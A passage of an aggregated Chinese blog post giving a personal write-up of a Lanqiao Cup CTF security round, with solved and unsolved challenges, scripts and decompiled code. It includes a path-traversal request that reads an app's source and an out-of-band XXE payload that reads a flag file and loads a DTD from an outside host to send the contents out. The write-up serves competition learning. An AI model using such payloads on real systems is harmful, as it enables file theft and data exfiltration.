惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

酷 壳 – CoolShell
酷 壳 – CoolShell
H
Hacker News: Front Page
P
Palo Alto Networks Blog
T
ThreatConnect
Apple Machine Learning Research
Apple Machine Learning Research
博客园_首页
T
True Tiger Recordings
P
Privacy & Cybersecurity Law Blog
B
Blog
IT之家
IT之家
Last Week in AI
Last Week in AI
F
Full Disclosure
Hacker News: Ask HN
Hacker News: Ask HN
C
Comments on: Blog
Microsoft Azure Blog
Microsoft Azure Blog
C
Cybersecurity and Infrastructure Security Agency CISA
Microsoft Security Blog
Microsoft Security Blog
博客园 - 【当耐特】
N
News and Events Feed by Topic
NISL@THU
NISL@THU
腾讯CDC
雷峰网
雷峰网
Security Latest
Security Latest
李成银的技术随笔
M
Microsoft Research Blog - Microsoft Research
L
LangChain Blog
L
Lohrmann on Cybersecurity
cs.CL updates on arXiv.org
cs.CL updates on arXiv.org
C
Check Point Blog
Y
Y Combinator Blog
Recent Announcements
Recent Announcements
博客园 - Franky
N
News | PayPal Newsroom
V
V2EX
A
About on SuperTechFans
The Register - Security
The Register - Security
月光博客
月光博客
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
Google Online Security Blog
Google Online Security Blog
MyScale Blog
MyScale Blog
Cisco Talos Blog
Cisco Talos Blog
Vercel News
Vercel News
WordPress大学
WordPress大学
C
Cyber Attacks, Cyber Crime and Cyber Security
The Hacker News
The Hacker News
IntelliJ IDEA : IntelliJ IDEA – the Leading IDE for Professional Development in Java and Kotlin | The JetBrains Blog
IntelliJ IDEA : IntelliJ IDEA – the Leading IDE for Professional Development in Java and Kotlin | The JetBrains Blog
爱范儿
爱范儿
A
Arctic Wolf
L
LINUX DO - 最新话题
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More

GamerNoTitle

第十九届软件系统安全赛 CCSSSC 2026 华南区域赛复盘(旅行日记) 第十九届 2026 软件系统安全赛华南赛区(CCSSSC2026)个人 Writeup 从 Valine 迁移到 Waline 全记录 记一次对某邮箱软件账户数量上限破解 2025 年终总结 使用 bkcrack 对 ZipCrypto 加密的 ZIP 文件进行明文爆破 2025 第五届“鹏城杯”联邦网络靶场协同攻防演练(初赛)个人 Writeup ADCTF 2025 个人出题记录 2025 羊城杯决赛个人做题思路 Writeup 2025 湾区杯决赛(AKA 珠海旅行记录) 【Volcania】2025 湾区杯初赛 Writeup 【Volcania】LilCTF2025 Writeup 【Volcania】DASCTF 2025 上半年线上赛 Writeup 【更新中】Web3 CTF 从入门到入土 记一次因修改了 WindowsApps 文件夹权限导致的 UWP 应用无法通过运行打开的修复过程 第十八届软件系统安全赛 CCSSSC 2025 全国总决赛复盘(旅行日记) 记第一次为 CTF 比赛出题的经历和踩过的坑 【Volcania】2025 数字中国创新大赛数据安全产业积分争夺赛初赛 Writeup 【Volcania】第十八届软件系统安全赛 CCSSSC 2025 华南赛区区域线下赛复盘 【Volcania】2025 数字创新中国大赛数字安全赛道时空数据安全赛题暨三明市第五届“红名谷”杯大赛初赛 Writeup
第十六届蓝桥杯省赛个人 Writeup
2025-04-26 · via GamerNoTitle

NOTE

先吐槽一波:初赛不让上网查资料是人打的嘛,真就初赛即决赛???还不是传统出题法,你那堆分类谁第一眼能看出来是什么题目啊???

我不信这比赛没有人用黄色版 CTF-all-in-One 好吧,一题出来了以后一堆人跟着出,一分钟内零解题出 5 个人是吧

然后说是不让用网,结果又发通知说有一题可以用 =-=

好好好玩我呢是吧

累了,事不过三,以后不报蓝桥了。蓝桥参加第三次了,前两次 Python 算法,今年第一次参加网安,太抽象了

我 TM 周末早八起来到底是为了啥哟 (┬_┬)

我的评价是:不如 CCSSSC,人平台虽然屎但是人比赛办的还不错啊,建议你下次别办

【数据分析】flowzip

There are many zip files.

打开流量包发现大量 HTTP 请求,里面包含 100 个 zip 文件

TIP

高端的食材,往往只需要最朴素的烹饪方式

直接用 strings 提取

$ strings .\flowzip.pcapng | grep flag

得到

jpkwz.txtflag{c6db63e6-6459-4e75-bb37-3aec5d2b947b}PK

所以 flag 为 flag{c6db63e6-6459-4e75-bb37-3aec5d2b947b}

【数据分析】ezEvtx

EVTX文件是Windows操作系统生成的事件日志文件,用于记录系统、应用程序和安全事件。

(本题需要选手找出攻击者访问成功的一个敏感文件,提交格式为flag{文件名},其中文件名不包含文件路径,且包含文件后缀)

用 ELX 打开,搜索 access an object 就得到了

访问的文件为 C:\Admin\confidential.docx,所以 flag 为 flag{confidential.docx}

【情报收集】黑客密室逃脱

你被困在了顶级黑客精心设计的数字牢笼中,每一道关卡都暗藏致命陷阱!唯一的逃脱之路,是破解散落在服务器各处的加密线索,找到最终的“数字钥匙”。

开局让我们看日志

访问得到线索

线索1:d9d1c4d9e0aac39b98b09d996961a39895ab92a893a4c6a69969656da09c94a399a6c1a395da6b6b63b1

秘密区域告诉我们有文件读取

输入 /file?name=../../../../../../app/app.py 得到源码

import os
from flask import Flask, request, render_template
from config import *
# author: gamelab

app = Flask(__name__)

# 模拟敏感信息
sensitive_info = SENSITIVE_INFO

# 加密密钥
encryption_key = ENCRYPTION_KEY

def simple_encrypt(text, key):
    encrypted = bytearray()
    for i in range(len(text)):
        char = text[i]
        key_char = key[i % len(key)]
        encrypted.append(ord(char) + ord(key_char))
    return encrypted.hex()

encrypted_sensitive_info = simple_encrypt(sensitive_info, encryption_key)

# 模拟日志文件内容
log_content = f"用户访问了 /secret 页面,可能试图获取 {encrypted_sensitive_info}"

# 模拟隐藏文件内容
hidden_file_content = f"解密密钥: {encryption_key}"

# 指定安全的文件根目录
SAFE_ROOT_DIR = os.path.abspath('/app')
with open(os.path.join(SAFE_ROOT_DIR, 'hidden.txt'), 'w') as f:
    f.write(hidden_file_content)

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/logs')
def logs():
    return render_template('logs.html', log_content=log_content)

@app.route('/secret')
def secret():
    return render_template('secret.html')

@app.route('/file')
def file():
    file_name = request.args.get('name')
    if not file_name:
        return render_template('no_file_name.html')
    full_path = os.path.abspath(os.path.join(SAFE_ROOT_DIR, file_name))
    if not full_path.startswith(SAFE_ROOT_DIR) or 'config' in full_path:
        return render_template('no_premission.html')
    try:
        with open(full_path, 'r') as f:
            content = f.read()
        return render_template('file_content.html', content=content)
    except FileNotFoundError:
        return render_template('file_not_found.html')

if __name__ == '__main__':
    app.run(debug=True, host='0.0.0.0')

debug = True,想访问 /console,打不开

看到有 hidden.txt

# 指定安全的文件根目录
SAFE_ROOT_DIR = os.path.abspath('/app')
with open(os.path.join(SAFE_ROOT_DIR, 'hidden.txt'), 'w') as f:
    f.write(hidden_file_content)

得到解密密钥

根据题目给的 simple_encrypt 函数

def simple_encrypt(text, key):
    encrypted = bytearray()
    for i in range(len(text)):
        char = text[i]
        key_char = key[i % len(key)]    # key=secret_key7434 len(key)=14 key_char=从左到右依次取
        encrypted.append(ord(char) + ord(key_char))
    return encrypted.hex()

自己写一个解密的脚本

SECRET = bytearray.fromhex('d9d1c4d9e0aac39b98b09d996961a39895ab92a893a4c6a69969656da09c94a399a6c1a395da6b6b63b1')

key = "secret_key7434"

decrypted = bytearray()

for i in range(len(SECRET)):
    char = SECRET[i]
    key_char = key[i % len(key)]
    decrypted.append(char - ord(key_char))
    
print(decrypted)

解出来得到 flag

flag{6d037fe6-0329-449a-b529-71142b80a470}

【数据库安全】crawler(未出)

一个简单的爬虫系统,测测它的安全问题吧!

是一个用 PHP 写的系统,Cookie 里面有 PHPSESSID

打开是个登录页面,发现只有使用用户名为 admin 登录的时候会弹提示为 ❌ 用户名或密码错误,其他用户名都是 ❌ 登录失败

爆破不出来,尝试一下 sql 注入,用 sqlmap 浅浅测一下,发现 sqlmap 说无法注入

那好吧,我确实没思路了

【密码破解】easy_AES(未出)

题目采用的是传统的AES加密,但是其中的key似乎可以通过爆破得到,你能找到其中的问题,解密出敏感数据吗?

题目给了源码

from Crypto.Cipher import AES  # 导入AES加密模块
from secret import flag       # 从secret模块导入flag(假设为明文)
import random, os             # 导入random和os模块用于随机数生成

# 为消息填充字节,使其长度为16的倍数
def pad(msg):
    return msg + bytes([16 - len(msg) % 16 for _ in range(16 - len(msg) % 16)])

# 对密钥进行随机置换,生成新密钥
def permutation(key):
    tables = [hex(_)[2:] for _ in range(16)]  # 生成0-15的十六进制表(去掉"0x"前缀)
    random.shuffle(tables)                    # 随机打乱表
    newkey = "".join(tables[int(key[_], 16)] for _ in range(len(key)))  # 根据原密钥生成新密钥
    return newkey

# 生成初始密钥key0及其置换密钥key1
def gen():
    key0 = os.urandom(16).hex()  # 随机生成16字节密钥并转为十六进制字符串
    key1 = permutation(key0)     # 对key0进行置换生成key1
    return key0, key1

# 使用key0和key1进行双重AES加密
def encrypt(key0, key1, msg):
    aes0 = AES.new(key0, AES.MODE_CBC, key1)  # 用key0加密,key1作为CBC模式的IV
    aes1 = AES.new(key1, AES.MODE_CBC, key0)  # 用key1解密,key0作为CBC模式的IV
    return aes1.decrypt(aes0.encrypt(msg))    # 先加密后解密生成密文

# 生成密钥对
key0, key1 = gen()
a0, a1 = int(key0, 16), int(key1, 16)  # 将密钥转为整数

gift = a0 & a1  # 计算key0和key1的按位与,作为泄露信息
cipher = encrypt(bytes.fromhex(key0), bytes.fromhex(key1), pad(flag))  # 加密填充后的flag

print(f"gift = {gift}")
print(f"key1 = {key1}")
print(f"cipher = {cipher}")

'''
gift = 64698960125130294692475067384121553664
key1 = 74aeb356c6eb74f364cd316497c0f714
cipher = b'6\xbf\x9b\xb1\x93\x14\x82\x9a\xa4\xc2\xaf\xd0L\xad\xbb5\x0e|>\x8c|\xf0^dl~X\xc7R\xcaZ\xab\x16\xbe r\xf6Pl\xe0\x93\xfc)\x0e\x93\x8e\xd3\xd6'
'''

NOTE

出题人是不是懒得写代码了,这代码 AI 味也太浓了,连 (假设为明文) 都出来了(第二行)

首先可以看到题目生成了一对密钥,其中 key0 是随机生成的,key1 是通过 key0 中的内容随机编排而成的

然后再加密解密的过程中,key0 和 key1 会分别作为密钥和向量 iv 进行加解密,过程大概是

对 msg 用 key=key0, iv=key1 进行 AES 加密,在对结果用 key=key1, iv=key0 进行 AES 解密,得到了题目给我们的 cipher

cipher = b'6\xbf\x9b\xb1\x93\x14\x82\x9a\xa4\xc2\xaf\xd0L\xad\xbb5\x0e|>\x8c|\xf0^dl~X\xc7R\xcaZ\xab\x16\xbe r\xf6Pl\xe0\x93\xfc)\x0e\x93\x8e\xd3\xd6'

所以如果要反着来,就得要用 key=key1, iv=key0 先进行 AES 加密,再对其结果用 key=key0, iv=key1 进行 AES 解密才能得到我们的明文

然后现在的问题是 key0 未知,题目说可以爆破,但是题目给的条件说实话我不太会用

题目给了个 gift,然后这个 gift 是通过 a0 & a1 产生的(按位与)

然后?就么有然后了……真不会利用这个 gift

【密码破解】ECBTrain(未出)

AES的ECB模式存在很明显的缺陷。你能否尝试以admin身份完成本题挑战?

题目给了容器,nc 进去有注册、登录、退出三个选项

╰─  nc 39.105.2.63 20628
 _____ _____ ______ _____         _
|  ___/  __ \| ___ \_   _|       (_)
| |__ | /  \/| |_/ / | |_ __ __ _ _ _ __
|  __|| |    | ___ \ | | '__/ _` | | '_ \
| |___| \__/\| |_/ / | | | | (_| | | | | |
\____/ \____/\____/  \_/_|  \__,_|_|_| |_|

请选择操作:
1. 注册
2. 登录
3. 退出
请输入选项编号:

其中,注册不能够以用户名 admin 注册,我先用用户名 user,密码 123 注册得到

请输入选项编号: 1
请输入用户名: user
请输入密码: 123
注册成功!你的auth为: eHDaWi860uwUt/Khad7iSw==

而当我用登录,会这么说

请选择操作:
1. 注册
2. 登录
3. 退出
请输入选项编号: 2
若是能以admin身份登录就给你flag。
请输入auth: eHDaWi860uwUt/Khad7iSw==
登录成功!
你是以 user 身份登录

也就是说登录跟密码一点关系都没有,我们要做的是利用 ECB 模式的缺陷,使得我们的 auth 变成 admin 的 auth

那么问题来了 ECB 的缺陷是什么???(不让上网查呀我没办法呀)

【密码破解】Enigma(未出)

Enigma是20世纪早期由德国工程师Arthur Scherbius设计的一款便携式机械加密设备,旨在为需要高安全性通信的场景提供加密保护。其核心原理基于可旋转的机械转子、反射器和接线板的组合,通过复杂的电路转换实现对明文的加密与解密。

(本题需要选手还原成原文字母,提交格式为flag{原文字母},其中原文字母为全英文大写,且去掉空格。)

布什戈门?这 tm 是个啥哟???

题目给了一个 html 文件,打开是赛博厨子(设定好的)

没懂这是什么原理,又不让查,下一个

【漏洞挖掘分析】星际XML解析器(未出)

你已进入星际数据的世界,输入XML数据,启动解析程序,探索未知的数据奥秘!

打开是一个网页

确实实现了 xml 的解析,我开始在想是不是 XXE(因为 ADCTF 做过一道 XXE),先浅浅地拿 ADCTF 的 payload 来试试(虽然远程文件不存在)

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % dtd SYSTEM "https://org.bili33.top/CTFTMP/try.dtd">
%dtd;
%send;
]>
<reg><name>11</name><tel>22</tel><email>33</email></reg>

然后就报错了

看来并不是 XXE 那一套,还是不给查,我也没办法

【逆向分析】ShadowPhases(未出)

在调查一起跨国数据泄露事件时,你的团队在暗网论坛发现一组被称作’三影密匣’的加密缓存文件。据匿名线报,这些文件采用上世纪某情报机构开发的“三重影位算法”,关键数据被分割为三个相位,每个相位使用不同的影位密钥混淆。威胁分析显示,若不能在48小时内还原原始信息,某关键基础设施的访问密钥将被永久销毁。逆向工程师的日志残页显示:‘相位间存在密钥共鸣,但需警惕内存中的镜像陷阱..

先惯例拖进 IDA 看看有没有什么线索,但是我没看出来

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char Str1[128]; // [rsp+30h] [rbp-50h] BYREF
  char Str2[128]; // [rsp+B0h] [rbp+30h] BYREF
  void *v6; // [rsp+130h] [rbp+B0h]
  void *v7; // [rsp+138h] [rbp+B8h]
  void *v8; // [rsp+140h] [rbp+C0h]
  void *v9; // [rsp+150h] [rbp+D0h]
  void *v10; // [rsp+158h] [rbp+D8h]
  void *v11; // [rsp+160h] [rbp+E0h]
  char v12[13]; // [rsp+16Eh] [rbp+EEh] BYREF
  char v13[15]; // [rsp+17Bh] [rbp+FBh] BYREF
  char Src[5]; // [rsp+18Ah] [rbp+10Ah] BYREF
  char v15[9]; // [rsp+18Fh] [rbp+10Fh] BYREF
  void *v16; // [rsp+198h] [rbp+118h]
  void *v17; // [rsp+1A0h] [rbp+120h]
  void *Block; // [rsp+1A8h] [rbp+128h]
  char v19[6]; // [rsp+1B2h] [rbp+132h] BYREF
  size_t v20; // [rsp+1B8h] [rbp+138h]
  size_t v21; // [rsp+1C0h] [rbp+140h]
  size_t Size; // [rsp+1C8h] [rbp+148h]

  sub_401B10();
  Src[0] = 0;                                   // src = [0, 5, -125, 0x80, -114]
  Src[1] = 5;
  Src[2] = -125;
  Src[3] = 0x80;
  Src[4] = -114;
  strcpy(v15, "+");
  v15[2] = -125;                                // v15 = ["+", -125, 47, -86, 43, -127, -88, -91]
  v15[3] = 47;
  v15[4] = -86;
  v15[5] = 43;
  v15[6] = -127;
  v15[7] = -88;
  v15[8] = -91;
  Size = 14i64;
  v13[0] = 19;                                  // v13 = [19, 57, -66, -66, -76, 56, -72, -70, -69, -96, 62, -112, 58, -70, -76]
  v13[1] = 57;
  v13[2] = -66;
  v13[3] = -66;
  v13[4] = -76;
  v13[5] = 56;
  v13[6] = -72;
  v13[7] = -70;
  v13[8] = -69;
  v13[9] = -76;
  v13[10] = 62;
  v13[11] = -112;
  v13[12] = 58;
  v13[13] = -70;
  v13[14] = -76;
  v21 = 15i64;
  v12[0] = -117;                                // v12 = [-117, -119, 3, 4, -120, -117, 32, 9, 34, -120, 8, -115, -120, -81]
  v12[1] = -119;
  v12[2] = 34;
  v12[3] = -120;
  v12[4] = -117;
  v12[5] = 32;
  v12[6] = 9;
  v12[7] = 34;
  v12[8] = -120;
  v12[9] = 8;
  v12[10] = -115;
  v12[11] = -120;
  v12[12] = -81;
  v20 = 13i64;
  v19[5] = -103;                                // v19 = ['"', "D", "f", -1, -35, -103]
  v19[4] = -35;
  v19[3] = -1;
  qmemcpy(v19, "\"Df", 3);
  Block = malloc(0xFui64);
  v17 = malloc(v21 + 1);
  v16 = malloc(v20 + 1);
  if ( !Block || !v17 || !v16 )
  {
    puts(&Buffer);
    exit(1);
  }
  memcpy(Block, Src, Size);
  memcpy(v17, v13, v21);
  memcpy(v16, v12, v20);
  sub_4015B6((__int64)Block, Size, v19[2]);
  sub_4015B6((__int64)v17, v21, v19[1]);
  sub_4015B6((__int64)v16, v20, v19[0]);
  *((_BYTE *)Block + Size) = 0;
  *((_BYTE *)v17 + v21) = 0;
  *((_BYTE *)v16 + v20) = 0;
  v9 = v17;
  v10 = v16;
  v11 = Block;
  v6 = Block;
  v7 = v17;
  v8 = v16;
  sub_401550(Str2, 0x80ui64, "%s%s%s", (const char *)Block, (const char *)v17, (const char *)v16);
  printf(&Format);
  scanf("%127s", Str1);
  if ( !strcmp(Str1, Str2) )
    puts(&byte_40502A);
  else
    puts(&byte_405031);
  free(Block);
  free(v17);
  free(v16);
  return 0;
}

【逆向分析】BashBreaker(未出)

赛博考古学界流传着一个传说——人工智能先驱艾琳·巴什博士在自杀前,将毕生研究的核心算法封存在了他的量子实验室中。这个实验室遵循古老的巴什博弈协议,唯有通过15枚光子硬币的智慧试炼,才能唤醒沉睡的实验室AI。

简单来说这就是在 15 步的步程内,双方都可以选择走 1~3 步,谁先走到终点谁就赢了

int __fastcall main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // eax
  int v5[2]; // [rsp+2Ch] [rbp-14h] BYREF
  unsigned int i; // [rsp+34h] [rbp-Ch]
  int v7; // [rsp+38h] [rbp-8h]
  int v8; // [rsp+3Ch] [rbp-4h]

  _main(argc, argv, envp);
  v8 = 15;
  v3 = time(0i64);
  srand(v3);
  puts("You want my treasure? You can have it all if you want it. Go find it! I hid the treasure chest in the program");
  puts("Number of remaining steps: 15 | 1 to 3 steps per round | The first one to get to the KEY\n");
  v5[1] = 0;
  while ( v8 > 0 )
  {
    printf("Remaining steps: [%d]\n", (unsigned int)v8);
    do
    {
      printf("Number of steps (1-3): ");
      while ( scanf("%d", v5) != 1 )
      {
        printf("Input error, please re-enter: ");
        while ( getchar() != 10 )
          ;
      }
      if ( v5[0] > 0 && v5[0] <= 3 )
      {
        if ( v8 < v5[0] )
          printf(aNotEnoughSteps, (unsigned int)v8);
      }
      else
      {
        puts(aMustTake13Step);
      }
    }
    while ( v5[0] <= 0 || v5[0] > 3 || v8 < v5[0] );
    v8 -= v5[0];
    printf("* Player walks %d steps, remaining %d\n\n", (unsigned int)v5[0], (unsigned int)v8);
    if ( v8 <= 0 )
    {
      full_decrypt();
      puts("This is your KEY. You deserve it ! !");
      for ( i = 0; i <= 0x2F; ++i )
        printf("%02X", real_key[i]);
      break;
    }
    v7 = calculate_best_move((unsigned int)v8);
    if ( v7 <= 0 || v7 > 3 )
      v7 = 1;
    if ( v7 > v8 )
      v7 = v8;
    v8 -= v7;
    printf("* The AI takes %d steps, remaining %d\n\n", (unsigned int)v7, (unsigned int)v8);
    if ( v8 <= 0 )
      puts("This treasure does not belong to you. Go back, Boy");
  }
  printf("\nGame over ! ");
  system("pause");
  return 0;
}

calculate_best_move 函数中能够看到对手的逻辑

__int64 __fastcall calculate_best_move(int a1)
{
  if ( a1 <= 0 )
    return 0i64;
  if ( a1 % 4 )
    return (unsigned int)(a1 % 4);
  if ( a1 == 4 )
    return 3i64;
  if ( a1 == 8 )
    return 3i64;
  return (unsigned int)(rand() % 3 + 1);
}

如果剩余的步数小于等于 0,返回 0;如果 a1 % 4 != 0,就返回余数,如果 a1 == 4 或者 a1 == 8,就返回 3,其他时候返回一个随机的步数

我相信这一题肯定不会是让你真的来做完这个游戏的,但是我也不知道咋做

【漏洞挖掘分析】RuneBreach(未出)

你是一名穿越到异世界的勇者,正面临最终决战!邪恶的 Boss 即将占领你的王国,唯一的机会就是利用传说中的“漏洞之剑”击败它。

然而,Boss 在战场上布下了魔法沙箱结界,禁止你使用常规的“召唤术”!你必须找到结界中的弱点,注入符文,才能给予 Boss 致命一击!

这个题目里面说到”魔法沙箱结界”,我在想是不是沙箱逃逸

拖进 IDA 看一眼,在函数 battle_loop 里面有战斗相关的逻辑

void __noreturn battle_loop()
{
  unsigned int v0; // eax
  char v1; // [rsp+3h] [rbp-1Dh]
  int v2; // [rsp+4h] [rbp-1Ch]
  unsigned int v3; // [rsp+8h] [rbp-18h]
  int v4; // [rsp+10h] [rbp-10h]
  int v5; // [rsp+18h] [rbp-8h]

  v4 = 100;
  v5 = 150;
  v2 = 1;
  puts("\n==== BOSS BATTLE START ====");
  while ( 1 )
  {
    v0 = v2++;
    printf("\n-- Round %d --\n", v0);
    printf("Player HP: %d | Boss HP: %d\n", (unsigned int)v4, (unsigned int)v5);
    v3 = (int)(((double)v4 / 200.0 + 0.5) * (double)20);
    printf("You attack! Damage: %d\n", v3);
    v5 -= v3;
    if ( v5 <= 0 )
      break;
    printf("\nDefend? (y/N): ");
    v1 = getchar();
    while ( getchar() != 10 )
      ;
    if ( v1 == 121 || v1 == 89 )
    {
      v4 -= 7;
      printf("You defend! Damage reduced: %d\n", 15LL);
    }
    else
    {
      v4 -= 30;
      printf("No defense! Damage taken: %d\n", 30LL);
    }
    if ( v4 <= 0 )
    {
      puts("\n[System] Game Over...");
      boss_victory();
      exit(0);
    }
  }
  puts("\n[System] Boss defeated!");
  victory_message();
  exit(0);
}

然后如果打败了 Boss,会让你说胜利宣言,此时在 victory_message 函数里面获取输入用的是 gets

unsigned __int64 victory_message()
{
  char v1[40]; // [rsp+0h] [rbp-30h] BYREF
  unsigned __int64 v2; // [rsp+28h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("[System] Enter victory comment: ");
  gets(v1);
  printf("Your comment: %s\n", v1);
  return __readfsqword(0x28u) ^ v2;
}

然后 v1 的长度是 40,所以暂且认为这里有一个栈溢出

然后再看输了的逻辑,Boss 会说这块领地是它的了,然后会告诉你这块领地(内存)的地址(但其实程序最开始也告诉你了)

__int64 boss_victory()
{
  void *addr; // [rsp+0h] [rbp-10h]

  addr = (void *)(exec_area & 0xFFFFFFFFFFFFF000LL);
  if ( mprotect((void *)(exec_area & 0xFFFFFFFFFFFFF000LL), 0x1000uLL, 7) == -1 )
  {
    perror("mprotect failed");
    exit(1);
  }
  printf("[BOSS] Your place is mine now %p!\n", addr);
  printf("[BOSS] Say your last word to your territory: ");
  read(0, addr, 1056uLL);
  return ((__int64 (*)(void))addr)();
}

这里用的是 read 读取,看起来没有什么可以用的,而且 addr 是一个指针

所以大概率能利用的是那个栈溢出,但是我没有找到 vuln 那种可利用的函数

【漏洞挖掘分析】Jdbc_once(未出)

Fenjing是一款为CTF比赛设计的自动化脚本,专注于Jinja SSTI漏洞利用,旨在绕过WAF。它能自动攻击指定网站或接口,省去手动测试和fuzz WAF的时间。通过智能生成payload,支持编码混淆、字符替换等绕过技术。来用Fenjing测一测你的网站是否存在安全问题吧。

(题目同时开放了8888端口和80端口,该题目允许使用互联网辅助答题,不允许使用AI作答)

这就是公告里面说可以查的那一体,焚靖确实可以自动化测 SSTI,打开题目提供的 8888 端口就是一个焚靖,但是如果我们直接访问 80 端口就会被拦住,提示 Only 127.0.0.1,而我修改标头也没有绕过这一点

但是用焚靖就可以访问

没明白这题想要干嘛,说实话

总结

我太菜了(呜呜呜

蓝桥初赛断网抽象归抽象,但说到底还是有点储备不足了……咱确实也不是全栈爷 =-=

但是但是,事不过三,蓝桥肯定不会有下一次了,我绝对不会再报蓝桥了,本来是想要弄点比赛加分才打的,但是后面发现这玩意在我们学校加分挺少的,而且报个名还有 300 块,所以肯!定!不!会!再!有!下!次!了!